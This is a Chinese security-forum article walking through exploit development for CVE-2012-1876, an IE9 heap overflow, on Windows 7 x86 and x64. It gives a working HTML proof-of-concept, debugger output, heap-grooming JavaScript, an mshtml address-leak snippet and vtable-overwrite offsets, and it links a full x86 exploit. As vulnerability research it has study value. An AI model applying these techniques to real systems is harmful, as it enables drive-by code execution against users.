本文为看雪论坛精华文章
看雪论坛作者ID:ExploitCN
1.1 概述
2012年,在Pwn2Own的黑客大赛上,来自法国的安全团队Vupen通过本篇的CVE-2012-1876漏洞,成功攻破windows7的IE9,他们因此获得数万美元的奖励。根据CVSS 2.0的评分,该漏洞的影响力达到最高分10分,利用难度极高,达到8.6分,其总体评分为9.3分。CVSS评分见下图:1.2 非常重要的说明
① 本文并不做详细的漏洞成因分析,而是做详细的EXP编写分析;
② 本文只对核心漏洞代码、利用代码进行说明;
③ 所以,阅读本文之前,你最好看看下面的网址,有很详细的基础说明:
https://mp.weixin.qq.com/s/Wfc1wNc0KvCqXqFVEKRqcQ
④ 本文着重于指导EXP的编写,对怎么写、为什么这么写给出了详细说明;
⑤ 对x64平台下的EXP,有一个重要改进,也存在一个重大问题,见后文分析。
⑥ 本文是首篇对该漏洞在x64平台下分析、编写EXP的文章。
⑦ win7_x86_7601版本和win7_sp1_x64版本上实验。
2.1 漏洞原因
详细漏洞成因见上面的网址,现在我简单说明下漏洞成因:
① 页面第一次的span等于1,申请的内存空间为0x70;
② 页面第二次的span等于1000,申请的内存空间依然为0x70;
在循环堆写入数据的时候,导致堆溢出。2.2 POC代码
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
2.3 POC运行结果
(db0.fdc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06e3d000 edi=06e3d018
eip=66860a2f esp=043bbaf8 ebp=043bbb04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
66860a2f 890f mov dword ptr [edi],ecx ds:0023:06e3d018=????????
1:020> r ecx
ecx=04141149
可见,触发漏洞的代码是在:
mshtml!CTableColCalc::AdjustForCol+0x15。2.4 POC数据分析
mshtml!CTableColCalc::AdjustForCol+0x15打断点,逐步运行,可以得到图1,规律为:每一次循环,每两个位置之间相差0x1C,但是第一次是相差0x18。① 确认关键变量
② 确认堆循环
③ 确认堆数值
3.1 通过this指针确认关键变量
在函数
void CTableLayout::CalculateMinMax(CTableLayout __hidden this, struct CTableCalcInfo , int)
打断点,可得:
可以看到ebp+8的内存是0x7ebcea8,这个就是上面定义的第一个参数。注意,因为有*,所以这个是个地址,要取地址的内容,才是this指针。this指针指向类的起始地址。所以就要 dd poi(ebp+8)。
可以看到起始4个字节刚好是类的虚表指针。又因为在该函数偏移0x8位置,把ebp+8赋值给了ebx(也就是this指针,对象的地址)。此时要注意,所有跟ebx有关汇编代码,很有可能就是类的参数,会对EXP的编写有用处。
在mshtml!CTableLayout::CalculateMinMax+170,有:
lea esi, [ebx+90h] (ebx就是虚表指针,也就是类的起始地址)
所以,堆块分配后的存放位置为:
CTableLayout+0x90+0xC,也就是ebx+0x90+0xC,可以看到,分配的内存空间大小,确实为0x70。
3.2 确认堆的分配大小
牢牢把握住ebx,也就是CTableLayout,就知道这个类的成员结构了。记住,要紧紧围绕堆分配大小来确认需要什么。通过汇编代码分析,在mshtml!CTableLayout::CalculateMinMax中,和ebx相关的内存变量,除了上面的堆地址,还有两个:
(1)ebx+0x54
(2)ebx+0x94在POC调用over_triger,触发漏洞时,在调用mshtml!CTableColCalc::AdjustForCol处打断点,可得:
发现spannum为1,但是在overtriger里面已经设置为1000了。当然,我们在写EXP时,搞不清这几个参数什么意思,也没关系,因为我们已经知道,堆的位置在ebx+0x9c。所以,可以直接看存储堆指针的位置ebx+9c分配的堆大小是多少。
确实依然分配的是0x70大小。
所以,这里可以得出结论,在调用mshtml!CTableColCalc::AdjustForCol函数时,虽然已经修改span=1000,但是堆的大小,依然为0x70。那么,写的时候,是按照span=1000,还是按照span=1来写的呢?下面开始确认。3.3 确认堆的写范围
堆的写范围和什么相关,当然和循环次数相关了。循环次数是怎么定的?如下图,在mshtml!CTableLayout::CalculateMinMax函数里。而且可以推出第一次是0x18(因为第一次循环时v86等于0,adjustforcol里面偏移0x18),第二次开始才是每次0x1Cn+0x18。
如果span=1000,可以写的最远范围为10001C-4,远远超出了0x70的范围。3.4 确认堆的写内容
内容的计算,不是在GetPixelWidth中,而是在GetFancyFormat函数中,也就是
mshtml!CTableLayout::CalculateMinMax+0x1952be处。
这个函数出来之后的eax+0x70,取内容,就是计算的内容。但有个问题,这个函数里面计算的数值很复杂,存在eax中,eax经过的赋值为:text:74E1B230 FF 35 98 8D 15 75 push ?g_dwTls@@3KA ; dwTlsIndex
.text:74E1B236 0F BF F0 movsx esi, ax
.text:74E1B239 FF 15 DC 12 C2 74 call ds:__imp__TlsGetValue@4 ; TlsGetValue(x)
.text:74E1B23F 6B F6 0C imul esi, 0Ch
.text:74E1B242 8B 40 64 mov eax, [eax+64h]
.text:74E1B245 8B 40 30 mov eax, [eax+30h]
.text:74E1B248 8B 04 06 mov eax, [esi+eax]
现在,这个值非常不好确定,如果要自己去计算,就要跟进TlsGetValue函数。这是完全没有必要的,直接用实验法来确定。比如,width=1,width=2,看等于多少就可以确认要得到的内容了后面EXP的地址,也可以在这里提前确认。当然,实际的值是width100,或者width100 << 8 + 8。
现在最好就取width*100。其实很容易确定。当width=41时候,值就是0x1004,十进制就是4100。也可以看出来就是乘以的100。4.1 堆布局
图2 堆溢出前堆布局这两个图来源于《漏洞战争》很重要。首先分配E、A、B、CButtonLayout的4个堆,然后释放其中的E,用vulheap替代,也就是我们之前的溢出堆来替代。4.2 为什么堆大小是0x100
首先,用:!heap -stat
然后,用:!heap -stat -h 00340000
接着,用!heap -a 00340000,搜索大小为fc的堆:
注意:这个命令输出的大小为fc的堆数量不全,只有6个,但实际上是250个,所以要用!heap -flt s fc命令,但这里只是为了找对象大小。后面确认时,再用!heap -flt s [size] 命令。
再用:!heap -p -a 40e860
最后,用 !heap -flt s fc
可知,CButtonLayout的Size=0x21*8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。
现在来看看E、A、B堆大小:
可以看到,Size是108字节大小,和上面CButtonLayout的大小108字节一样。这就是为什么要设置成0x100大小。当然UserSize不重要,一个0x100,一个0xfc,都是数据大小,但是整块堆的大小就要看0x21,也就是108字节了。这就是为什么堆大小是0x100的原因,当然这里的0x100,指的是UserSize。记住,总共3个长度:
① 堆的总长0x108
② 用户长度0x100
③ BSTR长度0xfa4.3 EXP的span为什么等于9
因为9*1C = FC ,刚好等于CButtonLayout的大小,而通过CButtonLayout我们知道,它是FC大小的堆,但实际size是0x108。特别注意:这儿usersize是0xFC大小,但size是0x108,这和free的”EEEE”堆的大小是一样的。堆占用,要看size,而不是usersize。4.4 覆盖虚表指针
4.4.1 第一阶段(覆盖字符串B长度)
在EXP代码CollectGarbage之后,再重新赋值ID=132的span之前,alert一下,然后进去看内存布局。因为取ID=132时,E和A之间有垃圾数据,所以选择ID=131的span。也就是日志vulheap倒数第二个,就是我们要的内存地址。但是因为断点是刚刚打在分配时,还没有赋值,所以还可以看到E的存在。内存如下:
4.4.2 第二阶段(字符串B的长度被覆盖,地址在20de680),内存如下:
4.4.3 第三阶段:覆盖虚表指针
之前其他EXP的span等于44,这个值可能也可以,但没必要覆盖这么大区域,直接等于29即可,内存如下:未覆盖之前:
4.4.4 触发
可见,系统现在调用的地址是:
call [0707002c]。
5.1 堆布局
堆布局和x86平台一样,只是堆的大小要重新修改,一些参数要重新确认,这在后面分析。5.2 POC验证
5.3 CButtonLayOut大小确认
上面红色是user size。所以,CButtonLayout的实际大小是0x148+0x8(8字节头)=0x150,但注意,可能有绿色的8字节头填充。那就是0x158字节了。下面的堆,是堆大小还等于0x100时的图。现在,x64要更改大小了。
所以,可以看到,Size = 0x12*0x10 = 0x120,刚好是UserSize + 0x10字节头长度。x64平台下,堆头是0x10字节。5.4 x64堆代码修改及堆分布
for (var i = 0 ; i < 500 ; i += 2)
{
fr[i] = free.substring(0,(0x150-0x10-4-4-2)/2);
al[i] = string1.substring(0,(0x150-0x10-4-4-2)/2);
bl[i] = string2.substring(0,(0x150-0x10-4-4-2)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
其中,0x150是分配的总大小,-0x10是因为8字节头+8字节填充,-4-4是因为填充+BSTR长度,-2是因为最后NULL字符。
注意:蓝色是虚表指针。
不管大小是0x158,还是0x150,内存的堆分配都是根据Size来的,只要Size的数值一样,堆就会被分配在相邻的内存。5.5 确认堆分配地址
同样,在CalculateMinMax函数里,反汇编有:.text:000007FF7DCA2E9B lea rcx, [r14+0D0h] ; this
.text:000007FF7DCA2EA2 mov r8d, r9d ; int
.text:000007FF7DCA2EA5 mov edx, 20h ; ' ' ; unsigned __int64
.text:000007FF7DCA2EAA call [email protected]CImplAry@@[email protected] ; CImplAry::EnsureSizeWorker(unsigned __int64,long)
.text:000007FF7DC0CE00 mov rdi, rcx
.text:000007FF7DC0CE72 lea rcx, [rdi+10h] ; void **
.text:000007FF7DC0CE76 mov edx, ebp ; unsigned __int64
.text:000007FF7DC0CE78 call [email protected]@[email protected] ; _HeapRealloc(void * *,unsigned __int64)
bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,后面的截图,就是这样找的地址。5.6 修改span长度以让vulheap等于0x150
通过上面断点分析,发现分配的大小是span0x20
所以让其等于1032=320=0x140,
再加0x10字节头
让其等于0x1505.7 覆盖虚表指针
5.7.1、第一阶段:覆盖字符串B长度确认
bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"
这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,下面的截图,就是这样找的地址。
所以要覆盖到32c9cd0,长度就是0x2a0
通过前面知道,一个span是0x20,
所以这里的长度是:
0x2a0 /0x20 = 0x15 = 21,实际可以再加1个1,成为22。5.7.2、第二阶段:覆B字符串长度(有重大改进)
采用x86堆结构,无法覆盖虚表,需要修改。
修改之后,加一个块C,为后面虚表指针被覆盖做准备。
注意:上面字符串B的长度被替换了。5.7.3、获取mshtml基址代码说明
var leak = bl[i].substring((0x140-4-6+2+16+0x150)/2,(0x140-4-6+2+16+8+0x150)/2);bl是块BBBB
说明:
0x140是字符串的长度
-4是填充
-6是BSTR的4字节长度和末尾2字节
所以,当使用substring函数的时候,这个index,就是字符串BBBB块的最后一个字符。
然后用这个index(0x140-4-6)继续计算:
+2,是2字节NULL
+0x16,是CButtonLayout块的头
+0x150,是块C的大小(包括头+填充+内容,是整个大小)
然后就可以获取47d25f0这个地址的mshtml基址了。5.7.4、第三阶段:覆盖虚表指针
5.7.5 触发
这里的指针地址是0707002407070024,要修改这个地址,让地址能够被堆喷射。但是,这里x64是0707002407070024,怎么办呢?堆喷不过去。
长度写成1,地址最小也是0x0000006400000064,也堆喷不过去。
所以x64平台我只是成功控制了喷射地址,而没有实现利用的效果。ROP代码是通过mona.py实现的,你可以自己搜索资料实现。也可以参考我EXP的代码。
1、先观察喷射的内存分布,本来喷射最后4位都是0018结尾,如果是在0c0c结尾的内存的话,就要padding数据,最后让eip对准rop地址,但是这里,直接把位置定准在了0024,也就是说0018+8字节头+4字节BSTR长度,刚好就是24,所以就没有padding,就让width100直接指向24。具体padding的技巧,参考下面网址:
https://blog.csdn.net/qs_hud/article/details/9821735?utm_medium=distribute.wap_relevant.none-task-blog-2~default~baidujs_title~default-9.wap_blog_relevant_default&spm=1001.2101.3001.4242.6
正因为是这样,就把width定成了1178993100,指向07070024。当然,也可以是其他的数据,反正就是要先看内存分布,再定width大小。
最后,通过mona.py生成ROP数据,就可以达到任意代码执行的目的了。代码下载地址为:
https://github.com/ExploitCN/CVE-2012-1876-win7_x86_and_win7x64其中x86的代码可以直接运行,实现任意代码执行。
x64的代码只能实现堆喷射地址控制,如果你解决了x64下面的问题,请一定要告诉我。
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458430364&idx=1&sn=59fbf5f7d95355e054b6f4fabe84e153&chksm=b18f9b1686f812004989b4f9dbeabf9e619a62136afce305266c0b8a398a80cf4d00f15012cf#rd
如有侵权请联系:admin#unsafe.sh